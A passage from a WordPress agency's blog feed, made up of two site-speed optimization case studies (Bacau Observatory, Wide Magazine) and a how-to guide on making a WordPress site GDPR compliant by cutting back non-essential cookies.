&lt;h2 id=&quot;cleaning-the-files&quot;&gt;Cleaning the files&lt;/h2&gt;
&lt;p&gt;Disk space occupied on the server was over 13 GB. There were six WordPress installs in different folders and subfolders, old and outdated.&lt;/p&gt;
&lt;p&gt;Those installations of WordPress had themes and plugins all old and outdated and represented potential security holes.&lt;/p&gt;
&lt;p&gt;Also, we found very large error_logs of over 1GB.&lt;/p&gt;
&lt;p&gt;After we made a backup of the entire hosting account we started to clean everything and keep only the necessary stuff.&lt;/p&gt;
&lt;h2 id=&quot;optimizing-images&quot;&gt;Optimizing images&lt;/h2&gt;
&lt;p&gt;Another issue that was affecting site performance on &lt;a href=&quot;https://kiravo.net/optimize-your-images/&quot;&gt;unoptimized photos for the web&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;This is a common problem of online newspapers. There are many authors that publish articles on the site and they upload photos directly from the camera.&lt;/p&gt;
&lt;p&gt;We found in the WordPress gallery pictures at very high resolutions, even 12 megapixels, that were occupying disk space and affecting loading speed of pages in which they were displayed.&lt;/p&gt;
&lt;p&gt;We resized those photos to 1024*1024px, a normal resolution for viewing pictures online. After that we optimized them with WP Smush, which also decreased more the number of KB.&lt;/p&gt;
&lt;p&gt;This way we managed to reduce the space occupied on disk from 13GB to less than 4GB.&lt;/p&gt;
&lt;h2 id=&quot;optimization-plugins&quot;&gt;Optimization plugins&lt;/h2&gt;
&lt;p&gt;The newspaper had 22 active plugins, some not recommended such as WP Postviews. This plugin makes quite inefficient writes to the database on each page view.&lt;/p&gt;
&lt;p&gt;We replaced the bad plugins with better choices, eliminated redundant ones and decreased the number of plugins to 16.&lt;/p&gt;
&lt;p&gt;We also configured page cache and database cache.&lt;/p&gt;
&lt;p&gt;Since there are a large number of images displayed on the site we have implemented Lazy Load to get a better loading speed.&lt;/p&gt;
&lt;p&gt;We updated both WordPress and all plugins to the latest versions.&lt;/p&gt;
&lt;h2 id=&quot;conclusion&quot;&gt;Conclusion&lt;/h2&gt;
&lt;p&gt;Although Bacau Observatory is still hosted on a shared hosting package, after we optimized it the average speed of the site is now 2.65 seconds with a 60% improvement.&lt;/p&gt;
&lt;p&gt;It could be better by moving to a &lt;a href=&quot;https://kiravo.net/pricing/&quot;&gt;better hosting&lt;/a&gt; but that’s the owner’s choice.&lt;/p&gt;</content:encoded><category>Case Studies</category><author>Andrei Chira</author></item><item><title>How to make your WordPress site GDPR compliant</title><link>https://kiravo.net/blog/wordpress-gdpr/</link><guid isPermaLink="true">https://kiravo.net/blog/wordpress-gdpr/</guid><description>What GDPR means for a WordPress site, and the cookies, forms, analytics, and policy steps that get a small site compliant without a lawyer.</description><pubDate>Thu, 21 Mar 2019 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;GDPR is the EU privacy protection legislation that came into force on May 25, 2018.&lt;/p&gt;
&lt;p&gt;A couple of weeks before that date it was a rush of panic from many of our customers, asking us for help to implement GDPR on their WordPress blogs.&lt;/p&gt;
&lt;p&gt;I promised I will write an article about GDPR, but I did not write this until now, almost a year after. That’s because I waited to see what tools would emerge to facilitate the implementation. Then I documented and implemented on my websites.&lt;/p&gt;
&lt;p&gt;First of all, GDPR is nothing to panic about.&lt;/p&gt;
&lt;p&gt;It’s a common sense law that wants to make site owners accountable for the personal data they collect from site visitors.&lt;/p&gt;
&lt;p&gt;Because the personal data belongs to these people and we, as site owners, can not do what we want with this data. We need their acceptance to collect and process the data in a certain way.&lt;/p&gt;
&lt;h2 id=&quot;i-have-a-simple-blog-why-should-i-be-compliant-with-gdpr&quot;&gt;&lt;strong&gt;I have a simple blog, why should I be compliant with GDPR?&lt;/strong&gt;&lt;/h2&gt;
&lt;p&gt;That was the most asked question from our customers, who are mostly small and medium independent publishers.&lt;/p&gt;
&lt;p&gt;You have to be compliant because you save personal data without knowing it.&lt;/p&gt;
&lt;p&gt;If you embed a video from Youtube or have Facebook share buttons on your site, cookies are saved in the visitor’s browser.&lt;/p&gt;
&lt;p&gt;These cookies are considered personal data because they can identify a person. They can track the visitor from one site to another, or create demographic profiles, etc.&lt;/p&gt;
&lt;p&gt;The problem is that sometimes your website saves that personal data. But it is entirely unnecessary, you do not use the data yourself.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Ok, what do I do to comply with GDPR?&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;Well, you must demonstrate that you understand and respect the rights of individuals whose personal data you save and process.&lt;/p&gt;
&lt;p&gt;At the same time, you should actually respect those rights, not just write in your privacy policy that you respect it.&lt;/p&gt;
&lt;p&gt;If a person solicits the removal of their data or unsubscribes from your newsletter, you must respect the person’s request.&lt;/p&gt;
&lt;p&gt;As I said above, these are common sense things. If you respect site visitors and customers whose personal data you collect, you are already on the right track.&lt;/p&gt;
&lt;p&gt;The easiest way to implement GDPR on your WordPress site is to use an external solution, a specialized service such as:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;&lt;a href=&quot;https://www.iubenda.com/en/&quot;&gt;Iubenda&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;a href=&quot;https://www.cookiebot.com/en/&quot;&gt;Cookiebot&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;a href=&quot;https://www.onetrust.com&quot;&gt;Onetrust&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;a href=&quot;https://trustarc.com/&quot;&gt;TrustArc&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;a href=&quot;https://www.crownpeak.com/products/privacy-and-consent-management/&quot;&gt;Evidon&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;a href=&quot;https://tealium.com&quot;&gt;Tealium&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;a href=&quot;https://www.clym.io&quot;&gt;Clym&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;This easy option is not free. But there is no way to be compliant with GDPR without paying - you either pay with money, or you pay with time and effort.&lt;/p&gt;
&lt;p&gt;Implementation is pretty complicated and involves both configurations or even programming and also legal counseling from a specialized lawyer.&lt;/p&gt;
&lt;h2 id=&quot;how-i-made-my-wordpress-site-gdpr-compliant&quot;&gt;How I made my WordPress site GDPR compliant&lt;/h2&gt;
&lt;p&gt;Below, I will tell you how I implemented GDPR on my WordPress websites. I must mention that I am not a legal counselor, and this tutorial does not equal legal advice.&lt;/p&gt;
&lt;p&gt;To be compliant with GDPR, we need the following:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;a privacy policy page&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;cookie information (it may be included in the privacy policy)&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;explicit consent to data collection (cookie banner notice)&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;the possibility to withdraw consent&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;tools for exercising rights (data export, data deletion)&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Tools for exercising rights are integrated in WordPress since version 4.9.6. You can export or delete personal data if you are asked to do so. We have placed contact information in our privacy policy so that anyone who wants to exercise these rights can contact us.&lt;/p&gt;
&lt;h3 id=&quot;the-privacy-policy&quot;&gt;The privacy policy&lt;/h3&gt;
&lt;p&gt;The privacy policy should contain the following information:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;the contact information of the site owner&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;the contact information of the national data protection authority&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;the data you collect&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;how you use the data&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;who has access to data&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;how do you secure the data&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;cookie information&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;what are the rights of the people whose data you collect&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;how can they exercise their rights&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;A privacy policy model is found in the WordPress administration interface. Go to Settings&gt; Privacy, and then click the “Check out our guide” link.&lt;/p&gt;
&lt;figure&gt;
&lt;p&gt;&lt;img alt=&quot;privacy page&quot; loading=&quot;lazy&quot; decoding=&quot;async&quot;  width=&quot;720&quot; height=&quot;400&quot; src=&quot;https://kiravo.net/_astro/wordpress-privacy.BUnTDMod_PdmuC.webp&quot; &gt;&lt;/p&gt;
&lt;figcaption&gt;
&lt;p&gt;privacy page&lt;/p&gt;
&lt;/figcaption&gt;
&lt;/figure&gt;
&lt;p&gt;I have used a privacy policy model generated by the GDPR Framework plugin that I modified with the relevant information for each of my sites.&lt;/p&gt;
&lt;p&gt;Once you’ve created the policy page, you need to add it to a navigation menu, usually in the footer of the site.&lt;/p&gt;
&lt;h3 id=&quot;what-data-we-collect-and-what-we-use-it-for&quot;&gt;What data we collect, and what we use it for&lt;/h3&gt;
&lt;p&gt;As part of privacy policy, it is also important to state which personal data you collect, so we need to know what personal information we collect.&lt;/p&gt;
&lt;p&gt;As mentioned above, sometimes we save data without knowing.&lt;/p&gt;
&lt;p&gt;To identify what personal data we collect, you need to audit your site to understand how it works and how it stores data. Each website is different, it uses different themes and plugins and has various implementations.&lt;/p&gt;
&lt;p&gt;On a simple blog, you collect data through:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;the WordPress comment form&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;cookies placed by plugins&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;The data collected by the comment form is the commentator (name, email address, website) as well as the IP address and a user agent. This data is used to fight spam.&lt;/p&gt;
&lt;p&gt;WordPress default cookies are those in comments (name, email, website) and to be compliant with GDPR. A check mark has been inserted in version 4.9.6 to allow the commentator to accept if he wishes these cookies to be saved in your browser.&lt;/p&gt;
&lt;p&gt;&lt;img alt=&quot;kiravo&quot; loading=&quot;lazy&quot; decoding=&quot;async&quot;  width=&quot;2510&quot; height=&quot;1300&quot; src=&quot;https://kiravo.net/_astro/comment-from-cookies.D8KtJfE__25s5Yk.webp&quot; &gt;&lt;/p&gt;
&lt;h3 id=&quot;data-for-online-stores&quot;&gt;Data for online stores&lt;/h3&gt;
&lt;p&gt;If you have an online store, you also collect data through the order form of the products/services on the site. You may use these data only for processing the order: billing, delivery, etc.&lt;/p&gt;
&lt;p&gt;Other sites can collect data via marketing plugins, contact forms, or newsletter subscription forms. People need to know what you do with the data you collect. You cannot send a newsletter to those who have not explicitly subscribed to that newsletter.&lt;/p&gt;
&lt;p&gt;A trick that some shops were doing was to put a pre-checked box on the checkout page, and the customer was automatically subscribed to the newsletter. This is no longer legal. You can have the box if you want it. But it cannot be pre-checked, the visitor must check it if he wants to subscribe to the newsletter.&lt;/p&gt;
&lt;p&gt;Various WordPress plugins can collect other data (cookies): social media buttons, tracking codes like Google Analytics or embeds from other sites (Youtube videos, for example).&lt;/p&gt;
&lt;p&gt;All this needs to be identified, and once we have determined what data we collect and how we collect them, we need to decide if we actually need them or not.&lt;/p&gt;
&lt;h4 id=&quot;identifying-cookies&quot;&gt;Identifying cookies&lt;/h4&gt;
&lt;p&gt;The easy way to identify what cookies your site saves is to use a free trial from one of the services listed above (OneTrust, for example). They will scan all the pages of your site, list all cookies and categorize them.&lt;/p&gt;
&lt;h5 id=&quot;the-manual-method&quot;&gt;The manual method&lt;/h5&gt;
&lt;p&gt;The hard method is to identify cookies manually.&lt;/p&gt;
&lt;p&gt;If you use the Google Chrome browser, delete cookies and cache from the browser, then navigate to your website, right click on the page, then click Inspect, go to the Application section, then click Storage and then Cookies (in Safari it’s Inspect Element &gt; Storage &gt; Cookies).&lt;/p&gt;
&lt;p&gt;You have to check all the pages of the site to identify cookies, which is hard to do by hand.&lt;/p&gt;
&lt;p&gt;Some pages are similar so it would be worth checking out:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;first page&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;archives (categories, tags, search, etc.)&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;single post page&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;pages that have embeds from other sites&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;newsletter subscription page&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;contact form page&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;pages with other forms or stuff that saves data (survey etc.)&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;As you can see, it’s hard to check manually so, it is best to use a specialized service which automatically scans all pages of the site.&lt;/p&gt;
&lt;h5 id=&quot;the-automatic-method&quot;&gt;The automatic method&lt;/h5&gt;
&lt;p&gt;Once identified, cookies should be broken down into categories:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;essential (website cannot work without)&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;statistics (Google Analytics, for example)&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;social media (Facebook, Youtube, etc.)&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;advertising (retargeting, remarketing, etc.)&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;According to GDPR, when visitors enter the site, they must be told that you are saving cookies, you must let them know what cookies you save, and they have to give you consent to save these cookies.&lt;/p&gt;
&lt;p&gt;It is not ok to set all cookies as essential and to have just an acceptance button; cookies must be accepted or refused for each category.&lt;/p&gt;
&lt;p&gt;At the same time, you must also have a cookie settings page from where the visitor can withdraw his acceptance if he has given it to you in the past or to accept if he has declined in the past and now has changed his mind.&lt;/p&gt;
&lt;p&gt;If a visitor refused the social media cookie category, for example, when visiting the site, social media scripts should be blocked.&lt;/p&gt;
&lt;p&gt;Complicated, right?&lt;/p&gt;
&lt;p&gt;Yeah, I didn’t find a WordPress plugin that does everything automatically.&lt;/p&gt;
&lt;h5 id=&quot;pluggins-ive-tested&quot;&gt;Pluggins I’ve tested&lt;/h5&gt;
&lt;p&gt;The plugins I’ve tested are:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;&lt;a href=&quot;https://wordpress.org/plugins/gdpr-framework/&quot;&gt;GDPR Framework&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;a href=&quot;https://wordpress.org/plugins/gdpr/&quot;&gt;GDPR&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;a href=&quot;https://wordpress.org/plugins/cookie-notice/&quot;&gt;Cookie Notice&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;At the time of my testing, none of them seemed complete, they needed additional implementations, some quite complex for an average user.&lt;/p&gt;
&lt;p&gt;That’s why I recommend specialized external solutions, especially for sites that need to save cookies. I’m talking about sites that perform retargeting, remarketing, conversion rate optimization, etc.&lt;/p&gt;
&lt;p&gt;But most websites don’t need to save all those cookies and could work just fine.&lt;/p&gt;
&lt;p&gt;According to the GDPR law, if we do not collect cookies that are considered personal data, then it is not mandatory to ask for the visitor’s consent to save cookies.&lt;/p&gt;
&lt;p&gt;So, if we only save essential cookies, we are not required to display that cookie banner notice, and we also get rid of the complex implementations of blocking scripts and cookie settings.&lt;/p&gt;
&lt;h4 id=&quot;lets-get-rid-of-the-cookie-banner-notice&quot;&gt;Let’s get rid of the cookie banner notice&lt;/h4&gt;
&lt;p&gt;I find it absurd to ruin your site design and user experience by displaying a pop-up asking visitors to give you permission to save cookies that you don’t even need or use.&lt;/p&gt;
&lt;p&gt;So let’s remove non-essential cookies, this is precisely in the spirit of the law, i.e., not to save personal data unless we have a legitimate reason to.&lt;/p&gt;
&lt;p&gt;I have already identified the cookies on my website, and the problematic ones (personal data) are:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;Google Analytics cookies&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;share button cookies (Facebook)&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Youtube cookies&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;h5 id=&quot;how-to-get-rid-of-google-analytics-cookies&quot;&gt;How to get rid of Google Analytics cookies&lt;/h5&gt;
&lt;p&gt;I don’t use demographics or remarketing in Google Analytics / Adsense / Adwords, so I don’t need them.&lt;/p&gt;
&lt;p&gt;Basically, you have to do 4 things in your Google Analytics account:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;accept the data processing amendment&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;disable data sharing&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;disable data collection for advertising features&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;disable user-ID&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;This is the tutorial I followed for setting up all the above. It is written by the developer of the CAOS plugin.&lt;/p&gt;
&lt;p&gt;After that, the final step is to anonymize visitor IPs.&lt;/p&gt;
&lt;p&gt;I ditched the Google Analytics plugin that I used, and manually copied the tracking code to which I added the following code.&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;ga(&apos;set&apos;, &apos;anonymizeIp&apos;, true);
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;If you do not feel comfortable working with code, another option is to use the Google Analytics plugin called &lt;a href=&quot;https://wordpress.org/plugins/host-analyticsjs-local/&quot;&gt;CAOS&lt;/a&gt; - it has an Anonymize IP checkmark in the settings.&lt;/p&gt;
&lt;p&gt;Okay, we’ve got rid of Google Analytics cookies that are personal data; Google Analytics will work just fine without it.&lt;/p&gt;
&lt;h5 id=&quot;how-to-get-rid-of-facebook-cookies&quot;&gt;How to get rid of Facebook cookies&lt;/h5&gt;
&lt;p&gt;Bill Erickson &amp;#x26; Jared Atchinson have made a share button plugin that is compliant with GDPR, meaning it does not save cookies, tracking scripts, absolutely nothing that is personal data.&lt;/p&gt;
&lt;p&gt;The plugin is called &lt;a href=&quot;https://wordpress.org/plugins/shared-counts/&quot;&gt;Shared Counts&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;I’ve replaced the share button plugin with this GDPR-compliant plugin, and so I’ve removed the Facebook cookies.&lt;/p&gt;
&lt;h5 id=&quot;how-to-get-rid-of-youtube-cookies&quot;&gt;How to get rid of Youtube cookies&lt;/h5&gt;
&lt;p&gt;I have embedded videos on some pages on the site, and fortunately, there are not many so I can change them manually. If you have more, you can search &amp;#x26; replace with a WordPress plugin or directly in the database.&lt;/p&gt;
&lt;p&gt;I’ve replaced youtube.com URL in the embed code with the youtube-nocookie.com URL.&lt;/p&gt;
&lt;p&gt;That’s it.&lt;/p&gt;
&lt;p&gt;I’ve identified what cookies are saved and eliminated those that I did not need, leaving only those strictly necessary, for which I don’t need to get visitor consent because they aren’t considered personal data.&lt;/p&gt;
&lt;p&gt;&lt;img alt=&quot;what cookies are saved and eliminated those that I did not need, leaving only those strictly necessary&quot; loading=&quot;lazy&quot; decoding=&quot;async&quot;  width=&quot;2366&quot; height=&quot;1168&quot; src=&quot;https://kiravo.net/_astro/identify-cookies.BQK1GRtU_Z1GB04e.webp&quot; &gt;&lt;/p&gt;
&lt;p&gt;This has eliminated the need to have a banner notice cookie on my website.&lt;/p&gt;
&lt;p&gt;Keep in mind, what I did above was specifically for my websites; you may have other cookies on your website, each site is different.&lt;/p&gt;
&lt;h2 id=&quot;other-considerations&quot;&gt;Other considerations&lt;/h2&gt;
&lt;p&gt;I’ve tried to make this GDPR tutorial as easy as possible, but it’s a very complicated matter.&lt;/p&gt;
&lt;p&gt;What I have described in this article generally fits most simple websites like my blog or my business, but for shops or other online businesses, it’s not enough just to implement some stuff on the site, you also need some administrative implementations.&lt;/p&gt;
&lt;p&gt;For example, we have done the following:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;we appointed a DPO (data protection officer)&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;we requested a DPA (data processing agreement) from all partners where we store data&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;we are drafting a DPA that we can offer to our clients&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;we’ve done training for our employees on data protection&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;I hope this has helped you make your WordPress website GDPR compliant, if I missed something, feel free to leave a comment, I’ll try to answer questions, or direct you to the relevant resources.&lt;/p&gt;</content:encoded><category>Guides</category><author>Elena Chira</author></item><item><title>WordPress optimization for Wide Magazine</title><link>https://kiravo.net/blog/wordpress-optimization-wide-magazine/</link><guid isPermaLink="true">https://kiravo.net/blog/wordpress-optimization-wide-magazine/</guid><description>Case study optimising Wide Magazine on WordPress: what the audit found, the changes we shipped, and the load-time gains they produced.</description><pubDate>Sat, 16 Feb 2019 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;Wide Magazine is a lifestyle magazine presenting cool experiences in downtown Bucharest.&lt;/p&gt;
&lt;p&gt;Although the magazine was hosted on a VPS the speed was slow. The cost of the managed VPS seemed unreasonably high.&lt;/p&gt;
&lt;p&gt;Loading speed of the site was 6.99 seconds, page components totaling 2.5 MB and doing 113 requests to the server.&lt;/p&gt;
&lt;figure&gt;
&lt;p&gt;&lt;img alt=&quot;ping results before optimization&quot; loading=&quot;lazy&quot; decoding=&quot;async&quot;  width=&quot;800&quot; height=&quot;600&quot; src=&quot;https://kiravo.net/_astro/fb8cd728-wide-pingdom-before-simplenet.Blcx8Iig_Z1OYphL.webp&quot; &gt;&lt;/p&gt;
&lt;figcaption&gt;
&lt;p&gt;before optimization&lt;/p&gt;
&lt;/figcaption&gt;
&lt;/figure&gt;
&lt;p&gt;The homepage was loading:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;30 JS files - 883.2 K&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;11 CSS files - 138.3 K&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;22 CSS images - 255.2 K&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;13 images - 1320.7 K&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;1 favicon - 16.9 K&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Google PageSpeed Insights score was 57/100, the recommendations were:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;enable compression&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;leverage browser caching&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;optimize images&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;reduces server response time&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;figure&gt;
&lt;p&gt;&lt;img alt=&quot;Google PageSpeed Insights score before&quot; loading=&quot;lazy&quot; decoding=&quot;async&quot;  width=&quot;800&quot; height=&quot;600&quot; src=&quot;https://kiravo.net/_astro/be93346d-wide-insights-before-simplenet._WFy4MLb_1YU9Jc.webp&quot; &gt;&lt;/p&gt;
&lt;figcaption&gt;
&lt;p&gt;before optimization&lt;/p&gt;
&lt;/figcaption&gt;
&lt;/figure&gt;
&lt;h2 id=&quot;optimization-report&quot;&gt;Optimization Report&lt;/h2&gt;
&lt;p&gt;Even the favicon has too much KB. We did a test, downloaded it and imported to favicon.cc where we generated a new one. We got a file of 1.6 K (though of lesser quality).&lt;/p&gt;
&lt;h3 id=&quot;images&quot;&gt;Images&lt;/h3&gt;
&lt;p&gt;Images are not optimized and also they can be displayed gradually as visitors are scrolling to speed up the loading of above-the-fold content (lazy load).&lt;/p&gt;
&lt;p&gt;Another problem with displaying images is that they are loaded in their original size (1024*682px) and the browser resizes them to 676*450px.&lt;/p&gt;
&lt;p&gt;It is recommended that the images are uploaded directly in 676*450px resolution or setting a thumbnail in that particular size.&lt;/p&gt;
&lt;p&gt;This way the browser works less with resizing pictures + page size (KB) decreases. These two factors lead to the improvement of the loading speed.&lt;/p&gt;
&lt;p&gt;For example, we took a random picture which had 163KB, we did a resize to 676*450px and after that we optimized it with &lt;a href=&quot;https://www.jpegmini.com/&quot;&gt;jpegmini.com&lt;/a&gt;. The resulting file had 70.7 K.&lt;/p&gt;
&lt;p&gt;Even left at 1024*682px and just optimizing it with JPEGMini we got a file of 90.3K, a notable improvement over the initial 163K.&lt;/p&gt;
&lt;h3 id=&quot;js-files&quot;&gt;JS files&lt;/h3&gt;
&lt;p&gt;The next thing that we looked for is the number and overall size of JS files - 30 files totaling 883.2K.&lt;/p&gt;
&lt;p&gt;And here we found some problems too.&lt;/p&gt;
&lt;p&gt;JQuery was being loaded twice - the 1.9.1 version (92.6K) from code.jquery.com and the 1.8.3 version (93.6K) loaded from the local WordPress folder.&lt;/p&gt;
&lt;p&gt;Same problem with the Google Analytics code - once the old version, ga.js (39.8K) and once the new version, analytics.js (20.3K).&lt;/p&gt;
&lt;p&gt;That’s a 133.4K extra.&lt;/p&gt;
&lt;p&gt;There are several JS files being loaded by 2 plugins which essentially are doing the same thing, displaying photo galleries: NextGen Gallery and PrettyPhoto Media.&lt;/p&gt;
&lt;p&gt;PrettyPhoto Media does not seem to be used so it can be removed to save about 50K and 2 requests.&lt;/p&gt;
&lt;h3 id=&quot;plugins&quot;&gt;Plugins&lt;/h3&gt;
&lt;p&gt;2 additional plugins, jQuery Mega Menu and Useful Banner Manager, can be eliminated. jQuery Mega Menu does not appear to be used anywhere. Useful Banner Manager is used for a single banner, which could be shown by a simple html code inserted into a text widget.&lt;/p&gt;
&lt;p&gt;The ShareThis plugin that adds share buttons to the posts uses a JS of 125.1K. It could be replaced with Jetpack which uses a JS of only 38.5K.&lt;/p&gt;
&lt;p&gt;Facebook Like Box is not implemented in the most efficient way, using a JS of 171.9K.&lt;/p&gt;
&lt;p&gt;The simplest and most effective method is to copy the iframe code from the Facebook Developers Like Box page and paste it into a text widget, thus eliminating the need for JS.&lt;/p&gt;
&lt;p&gt;Google Maps plugin uses four JS files totaling 60.7K.&lt;/p&gt;
&lt;p&gt;Just as with the Like Box Google Maps can also be integrated with an iframe.&lt;/p&gt;
&lt;p&gt;I checked the last 10 posts and none have integrated a map so if it’s not a standard functionality and it is used only rarely, it is more efficient to manually enter the maps with iframes in posts.&lt;/p&gt;
&lt;h2 id=&quot;what-we-did&quot;&gt;What we did&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;we optimized images&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;we set progressive loading of images on the site&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;we implemented page cache + database cache&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;we solved the duplicated jQuery&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;we solved the duplicated Google Analytics JS&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;we solved the Facebook Like Box.&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 id=&quot;the-result&quot;&gt;The result&lt;/h2&gt;
&lt;figure&gt;
&lt;p&gt;&lt;img alt=&quot;ping results after optimization&quot; loading=&quot;lazy&quot; decoding=&quot;async&quot;  width=&quot;800&quot; height=&quot;600&quot; src=&quot;https://kiravo.net/_astro/169c1b6b-wide-pingdom-after-simplenet.QiPSDPPc_Z1M7sjU.webp&quot; &gt;&lt;/p&gt;
&lt;figcaption&gt;
&lt;p&gt;after optimization&lt;/p&gt;
&lt;/figcaption&gt;
&lt;/figure&gt;
&lt;p&gt;Homepage now has 62 components totaling 672.6K - compared to 113 items totaling 2.5 MB = &lt;strong&gt;an improvement of 73%&lt;/strong&gt;.&lt;/p&gt;
&lt;p&gt;The average load speed is now 1.5 seconds - compared to 6.99 seconds = &lt;strong&gt;improvement of 78%&lt;/strong&gt;.&lt;/p&gt;
